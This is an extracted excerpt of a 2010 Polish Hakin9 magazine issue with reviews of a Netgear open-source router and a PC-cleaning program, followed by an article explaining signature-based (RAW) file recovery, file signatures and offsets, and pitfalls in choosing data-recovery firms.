Page 12: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

NARZĘDZIA

12 HAKIN9 3/2010

NARZĘDZIA

13 HAKIN9 3/2010

Netgear Open Source Wrireless-G Router WGR614L

ProducentNetgearTypRouterStrona producentawww.netgear.plRecenzentAnna Adamczyk

«««««OCENA

Gdy już jesteś wyposażony w designerskie myszki, klawiatury, drukarki, to znaczy, że nadszedł

czas na zakup stylowego routera. Od teraz będziesz mógł się kontaktować bezprzewodowo dzięki miłemu dla oka Netgear Open Source Wrireless-G Router WGR614L.

Wygląd tego urządzenia nie jest oczywiście jego najważniejszą cechą. Jeżeli jest jednak dla Ciebie istotny, to bez wątpienia białe pudełko wykonane z wysokiej jakości materiałów, będzie ważnym argumentem przy dokonaniu zakupu.

Ale największym bajerem związanym z WGR614L jest to, że całe dołączone do niego oprogramowanie jest stworzone na zasadzie licencji Open Source. Dzięki czemu użytkownicy hardewearu mają możliwość wykorzystania go w niestandardowy sposób. Mogą sami dostosować router do swoich potrzeb.

Społeczność programistów routerówPosiadaczy Netgear WGR614L wspiera społeczność programistów routerów. Na www.myopenrouter.com możesz zasięgnąć opinii, podzielić się doświadczeniami. Zrobisz to logując się na fora, blogi, czytając artykuły, pobierając kody źródłowe oraz instrukcje

obsługi. Na portalu tym znajdziesz ekspertów od otwartego oprogramowania.

Wydajność i parametry techniczneRouter WGR614L cechuje się dużą wydajnością, bo zawiera procesor MIPS32 240 MHz z 16 KB pamięci podręcznej instrukcji, 16 KB pamięci podręcznej danych, 1 KB pamięci podręcznej typu pre-fetch oraz 16 MB pamięci operacyjnej. Ważną zaletą jest to, że router posiada dwie anteny: zewnętrzną antenę 2 dBi oraz antenę wewnętrzną zwiększającą wydajność i zasięg. WGR614L ma też certy fikat Works with Windows Vista .

Router obsługuje bezpłatny, otwarty firmware Tomato oparty na systemie Linux oraz DD-WRT, oraz OpenWRT.

NETGEAR Open Source Wireless-G Router WGR614 wyposażony jest w jeden port Internet WAN 10/100, czteroportowy przełącznik LAN 10/100 i punkt dostępu 802.11g, obsługujący transfer bezprzewodowy z szybkością do 54 Mbps. WGR614L. Obsługuje statyczne i dynamiczne trasowanie TCP/IP, VPN (IPSec, L2TP), NAT, PPTP, PPPoE, DHCP (klient i serwer) oraz Bigpond. Zapora klasy SPI chroni sieć przed intruzami, a połączenie bezprzewodowe jest zabezpieczane 40-, 128- i 152-bitowym

szyfrowaniem WEP, Wi-Fi Protected Access (WPA), WPA2-PSK i Wi-Fi Protected Setup (WPS). Inne funkcje bezpieczeństwa to Exposed Host (DMZ), weryfikacja adresów MAC, filtrowanie zawartości URL, logi i e-mailowe powiadomienia o aktywności internetowej.

Ważną zaletą jest też niewysoka cena. Netgear Open Source Wrireless-G Router WGR614L kosztuje około 140 zł.

Page 13: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

NARZĘDZIA

12 HAKIN9 3/2010

NARZĘDZIA

13 HAKIN9 3/2010

Wyczyścić komputer, wersja 1.2

Każdy z nas po jakimś czasie zauważa spadek wydajności pracy swojego komputera. Coraz

częstsze zawieszanie się komputera potęguje tylko irytację. Przyczyny tego stanu rzeczy są różne, ale jednym z najczęstszych jest po prostu gromadzenie się sporej ilości, różnego rodzaju śmieci. Całe szczęście nie jest to proces, z którym nie da się nic zrobić. Rynek oferuje całą masę programów, które mają nam pomóc w utrzymaniu „czystości” i stabilności systemu. Jednym z nich jest program „Wyczyścić komputer”, czeskiej firmy Agentura u Kocoura, którym zajmiemy się w poniższej recenzji.

Samo pudełko zawierające płytę CD z programem nie prezentuje się zbyt okazale, ale wszak nie o wartości estetyczne nam chodzi. Po włożeniu dysku CD do napędu, proces instalacji jest bardzo szybki i intuicyjny. Już po kilku krokach i wpisaniu kodu licencyjnego jesteśmy w stanie przejść do czyszczenia komputera. Sam proces odinstalowania jest równie prosty.

Samo czyszczenie odbywa się w dwóch etapach. Wciskamy przycisk Znajdź konflikty. Program automatycznie włączy test najważniejszych obszarów. Producent zaznacza, że sam test odbywa się szybko, w przedziale pomiędzy dwoma a kilkudziesięcioma minutami. Trzeba przyznać, że rzeczywiście test odbył się dosyć szybko

i bezproblemowo. Drugim etapem jest usuwanie potencjalnych konfliktów. Program wyświetla ich analizę i zaleca usunięcie, bądź naprawę. Opis podanych metod jest bardzo czytelny i nawet największy laik nie będzie miał problemów z ich zrozumieniem.

Jak to zwykle bywa do większości konfliktów dochodzi w Rejestrze. Aby uniknąć potencjalnych nieprawidłowości, które mogą się pojawić po ingerencji w Rejestr, program oferuje możliwość zrobienia kopii zapasowej. W razie jakichkolwiek problemów, można w dość łatwy sposób wykorzystać kopię zapasową do naprawy błędów w systemie.

Ważną informacją jest, że wraz z zakupem programu uzyskujemy rok bezpłatnego wsparcia technicznego, choć producent zaznacza, że w podstawowym zakresie. Instrukcja postępowania zawarta jest w instrukcji dołączonej do programu. Proces

aktualizacji programu odbywa się w sposób automatyczny.

Podsumowując program Wyczyścić komputer prezentuje się całkiem dobrze. Prostota obsługi i relatywnie szybkie działanie powoduje, że powinien spodobać się zarówno kompletnemu laikowi, jak również bardziej zaawansowanemu użytkownikowi. Kwestia ceny również nie jest odstraszająca. Program kosztuje 59 złotych co w przypadku tego produktu nie jest ceną wygórowaną.

ProducentAgentura u KocouraStrona producentawww.wyczyscic.plRecenzentMariusz Czekoladowski

««««OCENA

Page 14: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

14

POCZĄTKI

HAKIN9 3/2010

Na wstępie kilka słów o tym, czym są i jaką rolę spełniają meta dane dyskowych systemów plików.

Każdy system operacyjny komputerów osobistych w celu przechowywania danych zmuszony jest do korzystania z systemów plików (ang. file system), który obrazuje sposób i metody przechowywania, adresowania, zapisu i usuwania danych binarnych w postaci plików lub katalogów na nośniku. Mówiąc w skrócie – jest on spisem treści danych, które zawarte są na nośniku pamięci masowej (dysku) oraz bazą jego atrybutów (data utworzenia, modyfikacji, typ, rozmiar, prawa dostępu i modyfikacji, właściciel, lokalizacja itp.) Szczególnym miejscem jest obszar tzw. meta danych (np. plik mft dla systemu NTFS), w którym zdefiniowane są ww. atrybuty.

Dla poszczególnych systemów plików obszary meta danych zdefiniowane są następująco:

• NTFS – jest to mft (ang. Master File Table),• FAT 16/32 – tablica alokacji FAT oraz katalog

główny (ang. Root Directory),• Ext2/3 – węzły (ang. I-node ),• HFS/+ - MDB (ang. Master Directory Block),• Novell – DET (ang. Directory Entry Table).

Uszkodzenie lub zniszczenie takiego obszaru skutkuje brakiem możliwości dotarcia do szukanych plików wraz z ich wszystkimi atrybutami (lokalizacja, struktura, daty, nazwa długość). Ponadto, istnieją przypadki, w których

ARTUR SKROUBA

Z ARTYKUŁU DOWIESZ SIĘogólny zarys – czym są meta dane systemów plików,

czym są sygnatury plików,

kiedy stosuje się odzyskiwanie danych w trybie sygnaturowym (RAW),

odzyskiwanie danych po sygnaturach w praktyce.

CO POWINIENEŚ WIEDZIEĆznać podstawy obsługi systemu operacyjnego, w którym pracujesz,

mieć ogólne pojęcie o systemie plików, na którym pracuje twój system operacyjny,

mieć ogólne pojęcie o strukturze i budowie plików.

samo usunięcie części danych – katalogów lub plików – częściowo lub całkowicie uniemożliwia odzyskanie tych danych wraz ze strukturą (lokalizacją) oraz kompletem innych atrybutów. Takie utrudnienia występują np. w systemie plików ext3 (nadpisywanie danych adresujących do inodów usuniętych struktur), bądź w systemach HFS/+ używanych w platformach firmy Apple.

Czym są sygnatury plikówKażda aplikacja systemu operacyjnego może czytać, przetwarzać i zapisywać dane w postaci plików o ustalonym standardzie – potocznie zwanym typem pliku. W celu oznaczenia typu pliku wprowadzono rozszerzenia, występujące po nazwie i sugerujące z jakim typem mamy do czynienia. Każdy z typów plików posiada swoją własną, indywidualną strukturę, która determinuje sposób kodowania i przechowywania danych w danym pliku. Poza zewnętrznym rozszerzeniem istnieje sygnatura pliku. Jest to ciąg kilku bajtów umieszczony wewnątrz pliku określający jego typ. Na ogół rodzaj sygnatury jest indywidualny dla każdego typu plików.

Budowa sygnaturySygnaturę pliku przyjęto określać za pomocą znaków z szesnastkowego systemu liczbowego (heksadecymalnego). Na ogół długość sygnatury wynosi kilka do kilkunastu bajtów. I tak np. plik typu .jpg posiada ogólną sygnaturę w postaci 3 bajtów:

Stopień trudności

Sygnaturowe odzyskiwanie danych (RAW)Zdarzają się sytuacje, w których po usunięciu, formacie czy też częściowym nadpisaniu danych nie można ich odzyskać w pierwotnej formie za pomocą meta danych zawartych w systemie plików. Niniejszy artykuł przybliży nam tematykę odzyskiwania danych (plików) po sygnaturach (RAW) – czyli ostatnią deskę ratunku w takich sytuacjach…

Page 15: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

15

SYGNATUROWE ODZYSKIWANIE DANYCH (RAW)

HAKIN9 3/2010

FF D8 FF

Za pomocą powyżej zdefiniowanej sygnatury będzie można zlokalizować wszystkie rodzaje plików w standardzie .jpg. Często użycie dłuższej sygnatury (4 lub więcej bajtów) będzie definiowało już konkretny podtyp pliku .jpg , stosowny dla danego producenta jego formatu, np.:

• FF D8 FF E1 – standard DCF .jpg (ang. Design rule for Camera File system),

• FF D8 FF E0 – standard JFIF .jpg (ang. File Interchange Format ).

Warto też wspomnieć, że niektóre podtypy tych samych rozszerzeń plików mogą mieć całkiem inną sygnaturę. I tak np. dla plików typu .wmf istnieją dwie sygnatury o całkiem innej budowie:

• D7 CD C6 9A 00 00 – sygnatura plików .wmf używanych przez systemy Windows od 95 wzwyż,

• 01 00 09 00 00 03 – sygnatura plików .wmf używanych przez systemy Windows 3.x.

Należy pamiętać, że konkretne sygnatury lub rozszerzenia nie muszą być przypisane do jednego, określonego typu plików. Spotykane są sytuacje, gdzie takie same rozszerzenia mogą oznaczać zupełnie różne typy plików i posiadać różne sygnatury. Także odwrotnie – te same sygnatury mogą być używane przez pliki o różnych rozszerzeniach. Jednak takie sytuacje należą do rzadkości.

Lokalizacja sygnatury – offsetOffset sygnatury jest to wartość liczbowa – zawierająca się w przedziale od 0 do 512 (są wyjątki, gdzie offset może być większy niż 512) i wyraża przesunięcie adresowania pierwszego bajtu sygnatury od pierwszego bajtu w pierwszym sektorze pliku.

Prawie zawsze sygnatura pliku znajduje się w jego pierwszym sektorze. Także w przeważającej większości przypadków zlokalizowana jest ona na samym początku sektora – początek sygnatury znajduje się w pierwszym bajcie pierwszego sektora. W takim przypadku definiowana wartość offsetu przyjmuje wartość 0. Składnia

sygnatury w takim przypadku będzie wyglądała następująco:

0xFFD8FF

gdzie: 0 oznacza wartość offsetu (sygnatura zaczyna się od 1 bajtu pierwszego sektora), FFD8FF – sygnatura dla plików .jpg

Rzadziej występują typy plików, których początek sygnatury jest przesunięty o określoną liczbę bajtów. Wtedy składnia takiej sygnatury wygląda następująco:

4x6D6F6F76

gdzie: 4 oznacza wartość offsetu, (sygnatura zaczyna się od 4 bajtu pierwszego sektora), 6D6F6F76 – oznacza sygnaturę pliku .mov (używanego przez Quick Time Movie File).

Offset sygnatury jest cechą indywidualną każdej z sygnatur – jej wartość jest determinowana przez producenta specyfikacji dla danego rodzaju pliku.

Trzeba pamiętać, że niektóre pliki mogą zawierać okresowo występujące wewnętrzne meta dane struktury zawartości, w których można zaobserwować i wyodrębnić powtarzające się cyklicznie tzw. podsygnatury strumieniowe. Taką specyfiką charakteryzują się np. niektóre strumienie AV. Jako przykład można podać format MPEG-2, gdzie na ogół można ustalić występującą periodycznie podsygnaturę (np. w większości standardowych plików typu .vob taka podsygnatura występuje co 2048 bajtów).

Dla większości typów plików (tych najbardziej rozpowszechnionych) znalezienie sygnatury nie powinno stanowić większego problemu. Poza tym, prawie wszystkie programy typu Data Recovery (pracujące w trybie RAW) posiadają już wbudowane własne listy sygnatur, po których mogą przeszukiwać nośniki.

Zgoła innym problemem jest określenie sygnatury lub offsetu w nietypowych plikach. Najczęściej są one generowane przez specyficzne urządzenia lub programy autorskie. W takich sytuacjach najprostszym rozwiązaniem jest analiza nagłówków kilku innych plików tego samego typu. Możemy to zrobić za pomocą zwykłego TotalCommandera (F3 i 3

– podgląd heksadecymalny). W ten sposób będziemy mogli porównać zawartość nagłówka pliku i określić sygnaturę. Podobnie ma się sprawa z wartością offsetu – jeżeli znamy już sygnaturę należy zaobserwować jej położenie względem pierwszego bajtu w sektorze.

Stopka plikuNiektóre typy plików, oprócz charakterystycznego początku (czyli nagłówka, w którym najczęściej zawarta jest sygnatura), posiadają także specyficzne zakończenie pliku, czyli stopkę. Przykładowo do takich rodzajów plików należy plik z rozszerzeniem .mp4, który jest standardowym kontenerem AV dla MPEG-4.

Stopkę można zidentyfikować jako charakterystyczny ciąg bajtów znajdujący się na końcu określonego typu plików.

Identyfikacja i lokalizacja stopki może być niezbędna do edycji i naprawy pliku.

Dokładne informacje na temat typów większości spotykanych plików i ich sygnatur można uzyskać pod adresem www.filext.com.

Odzyskiwanie danych w trybie sygnaturowymOgólnie rzecz ujmując aplikacje, odzyskujące dane, działają według dwóch schematów:

• odtwarzają dane w oparciu o meta dane systemu plików,

• skanują cały obszar dysku i odzyskują surowe (RAW) pliki bez użycia meta danych – jest to właśnie odzyskiwanie danych w trybie sygnaturowym.

Oczywiście najlepszą i najwygodniejszą formą jest możliwość odtworzenia danych w oparciu o pierwszą możliwość (np. poprzez odtworzenie zawartości pliku .mft dla systemu plików NTFS). Wtedy otrzymujemy kompletny obraz poprzedniej zawartości dysku, wraz ze strukturą, nazwami oraz wszystkim innymi atrybutami (daty, prawa, itp.) Niestety czasami jest to niemożliwe. W momencie, gdy meta dane (systemu plików) są częściowo lub całkowicie uszkodzone dotarcie do danych we wspomnianej formie jest na ogół niemożliwe. Pozostaje tylko tryb sygnaturowy.

Page 16: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

16 HAKIN9 3/2010 17 HAKIN9 3/2010

Tryb sygnaturowy (RAW)Odzyskiwanie danych w trybie sygnaturowym to nic innego jak skanowanie całego obszaru nośnika w celu znalezienia i identyfikacji określonych ciągów bajtów (sygnatur). Procedura ta wykonywana jest automatycznie, na zasadzie przeskanowania wszystkich sektorów i odnalezienia jednolitego ciągu bajtów, zaczynających się charakterystyczną sygnaturą. W wyniku skanowania otrzymujemy listę, zawierającą wszystkie pliki posiadające zadaną sygnaturę we wskazanym przez offset miejscu. Charakteryzuje się ona następującymi cechami:

• pliki nie posiadają oryginalnych nazw (przy automatycznym skanowaniu, tzn. przy wykorzystaniu aplikacji typu Data Recovery w trybie RAW pliki są kolejno numerowane, np. 001.doc, 002.doc, itd.),

• pliki nie posiadają praw,• pliki nie posiadają oryginalnych dat,• lista zawiera wszystkie pliki, które

kiedykolwiek istniały na dysku (czyli razem z plikami istniejącymi, odzyskujemy też pliki, które zostały wcześniej wykasowane oraz częściowo nadpisane).

W zależności od potrzeb, odzyskiwanie danych w trybie RAW powinno być stosowane tam gdzie nie ma innej możliwości dotarcia do danych (np. plik nie jest adresowany przez uszkodzony .mft ) oraz nie występują inne czynniki mogące stać na przeszkodzie skorzystania z plików odzyskanych w ten sposób. Może mieć to miejsce np. w przypadku potrzeby odtworzenia całych katalogów z plikami powiązanymi ze sobą (np. bazy danych). W takich przypadkach, nie będziemy w stanie odtworzyć poprawnej struktury katalogów, nazw plików i ich lokalizacji.

Sygnaturowe odzyskiwanie danych pofragmentowanychKolejną przeszkodą w dotarciu do danych metodą sygnaturową jest fakt istnienia plików, które są pofragmentowane. Generalną zasadą jest to, że danych (czyli plików), które są częściowo lub całkowicie pofragmentowane nie da się odzyskać tą metodą. Dzieje się tak dlatego, że

dane dotyczące powiązań i adresowania bloków logicznych (klastrów), które są pofragmentowane znajdują się w meta danych woluminu (np. .mft ). Dlatego też, samo zeskanowanie obszaru danych, z pominięciem analizy systemu plików nie da nam poprawnych wyników. Odzyskamy pliki, które nie będą się otwierać lub będą otwierały się z błędami.

Poza tym należy pamiętać, że istnieją systemy plików, w których nawet niewinne usunięcie pofragmentowanych danych może sprawiać wiele kłopotów przy próbie ich odzyskania. I to nie tylko w przypadku próby ich odzyskania metodą RAW, lecz także w przypadku analizy meta danych systemu plików. Ma to miejsce np. w przypadku dość jeszcze popularnego FAT16/32, gdzie przy usuwaniu danych zerowane są całe łańcuchy FAT (jest zwalniane miejsce) i odzyskać można poprawnie tylko pierwszy klaster. W takich przypadkach jedyną szansą na odzyskanie sprawnych danych jest posłużenie się metodą kombinowaną (opis w dalszej części).

Odzyskiwanie danych po sygnaturach w praktycePrzed przystąpieniem do pracy należy zrobić kopię binarną (posektorową) naszego nośnika. Istnieje wiele narzędzi, za pomocą których możemy przeprowadzić taką operację. Jednym z nich jest program ByteBack – oferuje on blokadę zapisu oraz niskopoziomowy dostęp do dysku przez INT 13.

Jako środowisko pracy najlepiej przygotować oddzielny komputer klasy PC z zainstalowanym systemem operacyjnym (min. Win XP SP1 – automatyczna obsługa LBA 48). Oczywiście możemy wykorzystać naszą macierzystą jednostkę (na której doszło do utraty danych) – ale w tym przypadku należy wyjąć z niej nasz dysk i zamienić go innym, na którym zainstalujemy od nowa system operacyjny. Komputer powinien mieć wystarczająco dużo wolnego miejsca na dysku systemowym lub powinniśmy się zaopatrzyć w dodatkowy dysk – na dane które będziemy odzyskiwać. Użycie systemu Windows gwarantuje nam dostęp do dużej ilości aplikacji typu Data Recovery. Z tego też tytułu nasz komputer powinien być podpięty do Internetu.

Po zgromadzeniu wszystkich potrzebnych nam narzędzi możemy rozpocząć pracę. W tym celu podpinamy (wykonaną wcześniej) kopię naszego dysku źródłowego jako dodatkowy (nie systemowy!) dysk w naszej stacji roboczej i uruchamiamy system.

UWAGA! Podczas uruchamiania systemu należy zwrócić uwagę, aby nie doszło do uruchomienia programu Scandisk! Jeżeli zobaczymy taki komunikat – to bezwzględnie należy anulować taką operację (mamy na to 10 sekund).

Po uruchomieniu systemu sprawdzamy, czy dysk z którego będziemy odzyskiwać dane jest widoczny w systemie jako urządzenie fizyczne (ustawienia -> panel sterowania -> menadżer urządzeń -> stacje dysków). Jeżeli tak – to możemy przejść do dalszego etapu jakim jest wybór metody skanowania nośnika.

UWAGA! Jeżeli dysk zawierający kopię naszych danych jest widziany logicznie (jako wolumin) to absolutnie nie wolno wykonywać na nim żadnych operacji zapisu!

Skanowanie automatyczneNa rynku funkcjonuje wiele narzędzi, które potrafią odzyskiwać automatycznie dane w trybie sygnaturowym. Jednym z najbardziej znanych narzędzi jest program Recovery My Files . Program tego typu pozwala na zeskanowanie całego nośnika pod kątem poszukiwań plików zawierających wybrane wcześniej sygnatury. Program może także próbować sam określać długość pliku – jeżeli dla niego takie informacje są osiągalne.

Korzystanie z automatycznych aplikacji zalecane jest w następujących przypadkach:

• szukamy większej ilości plików tego samego typu np. .jpg,

• poszukujemy typy plików powszechnie znanych i rozpowszechnionych,

• nie przewidujemy dalszej obróbki znalezionych plików (pod kątem ich naprawy).

Większość automatycznych aplikacji posiada własne bazy sygnatur najpopularniejszych typów plików. Ponadto niektóre z programów skanujących dają możliwość wprowadzenia własnej, unikalnej sygnatury wraz z wielkością offsetu. Z

POCZATKI

Page 17: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

16 HAKIN9 3/2010 17 HAKIN9 3/2010

takiej możliwości będziemy zmuszeni skorzystać, gdy będziemy poszukiwać nietypowych typów plików.

Case study – klient utracił dostęp do danych poprzez sformatowanie całego 200 GB dysku (system plików ntfs) i postawienie na nowo systemu operacyjnego. Poprzednio miał zajęte ok. 80% dysku. Interesowało go odzyskanie tylko ok. 1000 zdjęć dziecka w formacie .nef – objętościowo ok. 10 GB danych. Po przeskanowaniu całego dysku odzyskano 1361 plików – z czego po weryfikacji – sprawnych 952.

Skanowanie manualneWybór tej metody jest zalecany w przypadku, gdy szukamy pojedynczych i mało znanych typów plików. Poza tym stosuje się go w przypadku dłuższych plików, zawierających więcej niż jedną sygnaturę, plików tekstowych oraz plików bazodanowych. Do tej metody możemy użyć edytor heksadecymalny np. WinHex . Oferuje on możliwość przeszukiwania nośnika po sygnaturach z możliwością określenia długości znajdowanych sektorów. Posiada możliwość edycji istniejących oraz definiowania nowych, wpisywanych sygnatur wraz z jego offsetem. Poza tym – edytorskie możliwości programu pozwalają na późniejszą obróbkę i naprawę znalezionych plików.

Należą do nich: skanowanie dysku z pominięciem obszarów adresowanych przez system plików, lokalizacja sygnatur, stopek, skład pliku wielosygnaturowego, itp.

Niestety – przy korzystaniu z manualnej aplikacji do odzyskiwania danych w trybie RAW wymagana jest minimalna wiedza na temat budowy plików oraz umiejętność w pracy z danym programem.

Case study – firma dostarczyła dysk z nagraniem uroczystości rodzinnej jednego z klientów. Pojemność dysku 60 GB, system plików FAT. Format szukanych plików – .mp4 (full HD). Ilość – ok. 60 filmów. Przez błąd użytkownika, dane zostały wykasowane. Dysk był już w innej firmie i odzyskiwanie danych zakończyło się niepowodzeniem. Firma ta odzyskała pliki .mp4, które się nie otwierały. Okazało się, że szukane pliki są pofragmentowane, a pliki które wspomniana firma zdołała odzyskać zawierają poprawnie adresowane tylko pierwsze bloki. Analiza struktury plików .mp4 (plik typu kontener) pozwoliła ustalić występowanie wielu sygnatur. Po zeskanowaniu i wyizolowaniu bloków zawierających poszczególne sygnatury zostały one poskładane do jednego pliku. Na tym etapie film był odzyskany – otwierał się poprawnie – ale jeszcze nie było dźwięku. Pozostało wyodrębnienie (z danych nadmiarowych pliku) ścieżki audio. Odzyskano 56 sprawnych plików z filmami.

Skanowanie RAW – tryb kombinowanyTryb kombinowany powinien być stosowany tam, gdzie istnieje szansa chociaż częściowego poprawnego odczytu meta danych systemu plików oraz tam, gdzie ze względu na występowanie sporej ilości pofragmentowanych danych jesteśmy zmuszeni oprzeć się chociaż o szczątkowe informacje zawarte w np. .mft . Do takich aplikacji należy np. program R-Studio. Aplikacja tego typu skanuje całą powierzchnię dysku oraz jednocześnie analizuje meta dane systemu plików. Wadą takich rozwiązań jest na ogół brak analizy korelacyjnej między wynikami tych trybów

Page 18: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

18

POCZATKI

HAKIN9 3/2010

pracy. Dlatego często należy wykonać taką kombinację ręcznie. Jako przykład możemy posłużyć następującym case study: pewna firma dostarczyła dysk, z którego został usunięty jeden plik zawierający bazę danych. Na 20 GB dysku – był on zapełniony prawie w całości – znajdowały się dane księgowe i zainstalowany był system Win98 (FAT32). Próby odzyskania pliku zarówno przez aplikację bazującą na analizie FAT, jak i w oparciu o skanowanie sygnaturowe nie przyniosły oczekiwanego rezultatu (silnik bazy danych nie otwierał odzyskiwanego pliku). Oczywistym było, że szukany plik musi być pofragmentowany. Rozwiązanie przyniosło wyizolowanie pierwszego klastra pliku (z sygnaturą) i dopasowanie występujących w następnej kolejności obszarów, które były oznaczone jako wolne (nie adresowane) w tablicy alokacji. Ponieważ posiadaliśmy informację o wielkości szukanego pliku (z Root Directory) dopasowanie pozostałych bloków było już tylko kwestią kilku prób.

PodsumowaniePrzy podejmowaniu prób samodzielnego odzyskiwania danych należy pamiętać o kilku podstawowych zasadach:

• przed jakąkolwiek próbą należy wykonać kopię binarną (posektorową) nośnika,

• nie wolno zapisywać jakichkolwiek danych na dysku, z którego dane są odzyskiwane,

• jeżeli musimy odzyskać ważne dane i nie dysponujemy podstawową wiedzą, aby to wykonać – powinniśmy zgłosić się do wyspecjalizowanej firmy.

Profesjonalne usługi odzyskiwania danych wymagają ogromnej wiedzy i

specjalistycznego laboratorium. W ostatnim okresie na polskim rynku pojawia się bardzo wiele firm oferujących taką usługę, jednak jej jakość pozostawia wiele do życzenia. W całej tej masie firm jest tylko kilka, które dysponują stosowną wiedzą i warsztatem pozwalającym odzyskać dane we wszystkich możliwych przypadkach (tzn. tam gdzie fizycznie jest to możliwe). Dlatego każdy, kto zechce skorzystać z takiej usługi, powinien bardzo starannie dokonywać wyboru firmy, bądź osoby, której chcemy powierzyć swoje nośniki w celu odzyskania danych. Kuriozalne jest to, że na rynku można spotkać coraz więcej firm lub osób reklamujących się jako jednostki wyspecjalizowane w odzyskiwaniu danych, jednocześnie nie mających gruntownej wiedzy oraz warsztatu pozwalającego na skuteczne wykonanie takiej usługi. I tak, np. światowy średni poziom skuteczności odzyskiwania danych wynosi ok. 76% na 100 zgłoszonych przypadków (źródło: Wikipedia). Jest to spowodowane tym, iż sytuacje takie jak nadpisanie utraconych danych, bądź fizyczne uszkodzenie powierzchni roboczej nośników nie należą do wyjątków. Niestety, coraz częściej można spotkać reklamy, które delikatnie mówiąc … naciągają rzeczywistość. Coraz więcej firm ogłasza się jako ta najlepsza, przelicytowując się w skuteczności: 95% czy nawet 99%! Mało tego: na rynku pojawiają się reklamy sugerujące 100% skuteczności (!) w odzyskiwaniu danych czy też mówiące o gwarancji na odzyskanie danych. Jest to omamianie zdesperowanego klienta i świadome wprowadzanie go w błąd (powinien się temu przyjrzeć UOKIK). Nie ma bowiem na świecie firmy potrafiącej odzyskiwać dane z każdego przypadku ich utraty. Często działania te mają na celu tylko złapanie klienta w celu wyciągnięcia od niego pieniędzy za usługę sprawdzenia, bądź analizy czy się da dane odzyskać, a na końcu stwierdzenia Niestety nie udało się, ale się napracowałem, więc kliencie zapłać! .

Jeszcze większą patologią jest funkcjonowanie tzw. bezpłatnej analizy, która jest warunkowa. Z grubsza rzecz biorąc, polega to na tym, że coraz więcej firm oferuje bezpłatną analizę nośnika pod warunkiem, że po jej przeprowadzeniu klient skorzysta w danej firmie z usługi odzyskania danych. W przypadku rezygnacji, klient musi

pokryć koszty przeprowadzonej analizy oraz inne ukryte opłaty – w przypadku dysków twardych mogą to być kwoty do kilkuset złotych. I nie byłoby w tym nic złego, gdyby nie fakt, że taka praktyka przyczyniła się do rozpowszechnienia się pewnego procederu, a mianowicie: coraz częściej nieuczciwe firmy po wykonaniu analizy decydują się na stosowanie cen zaporowych, np. 30 tysięcy złotych za odzyskanie danych. Jak łatwo przewidzieć – w efekcie klient rezygnuje i z tego tytułu niestety musi zapłacić za wykonaną analizę. Mało tego – niektóre firmy dodatkowo żądają także opłaty za wydanie dysku (nośnika) – ponieważ wykonały dodatkową pracę wykraczającą poza standardową analizę wstępną… W tej sytuacji właściciel sprzętu ma związane ręce, ponieważ wcześniej, w momencie przyjęcia dysku do analizy podpisał stosowne zobowiązanie bez dokładnego zapoznania się z nim. Faktycznie – przy takich praktykach teoretyczna skuteczność może osiągać prawie 100% i jeszcze gwarantuje przypływ gotówki w każdym możliwym przypadku. Prowadząc taką firmę, równie dobrze można by nic nie robić – oprócz wystawiania faktur. Wystarczy mieć dobry PR, profesjonalnie wyglądającą stronę WWW czy reprezentacyjną siedzibę.

Dlatego pamiętajmy – przed wyborem firmy odzyskującej dane powinniśmy gruntownie przeanalizować jej rzetelność. Ufajmy tylko sprawdzonym firmom, mogącym się pochwalić wieloletnią praktyką poświadczoną certyfikatami i nagrodami (takimi jak medale, nagrody konsumenckie, poświadczenia dla rzetelnych firm). Także przed oddaniem (lub wysłaniem) nośnika należy zapoznać się z warunkami, które będziemy musieli pisemnie zaakceptować (dokładnie czytajmy druki zamówień i regulaminy). W trakcie rozmowy wstępnej sprawdźmy, czy bezpłatna analiza jest faktycznie bezwarunkowa oraz domagajmy się podania widełek cenowych (chodzi o cenę maksymalną!) za konkretny rodzaj potencjalnego możliwego uszkodzenia, tak aby uniknąć przykrych niespodzianek.

Artur SkroubaAutor studiował na wydziale Fizyki i Astronomii Uniwersytetu Warszawskiego; jest także absolwentem Szkoły Głównej Handlowej w Warszawie na kierunku Finanse i Bankowość. Na co dzień zajmuje się profesjonalnym odzyskiwaniem danych w firmie DataMax Recovery, w której pełni funkcję jednego z inżynierów technicznych. Kontakt z autorem: [email protected].

UwagaZarówno autor, jak i redakcja, nie ponoszą żadnej odpowiedzialności za jakiekolwiek szkody i straty powstałe w wyniku stosowanie się do wskazówek w niniejszym artykule. Nie zaleca się stosowania niniejszych metod w warunkach amatorskich, kiedy w grę wchodzi ryzyko utraty danych, mogące stanowić zagrożenie dla życia, zdrowia lub powodujące znaczne straty. W takiej sytuacji należy zwrócić się do wyspecjalizowanych firm typu Data Recovery.

Page 19: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się
Page 20: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

20 HAKIN9

ATAK

3/2010

Bezpieczeństwo proaktywne od dawna przestało być wyłącznie modnym sloganem nadużywanym

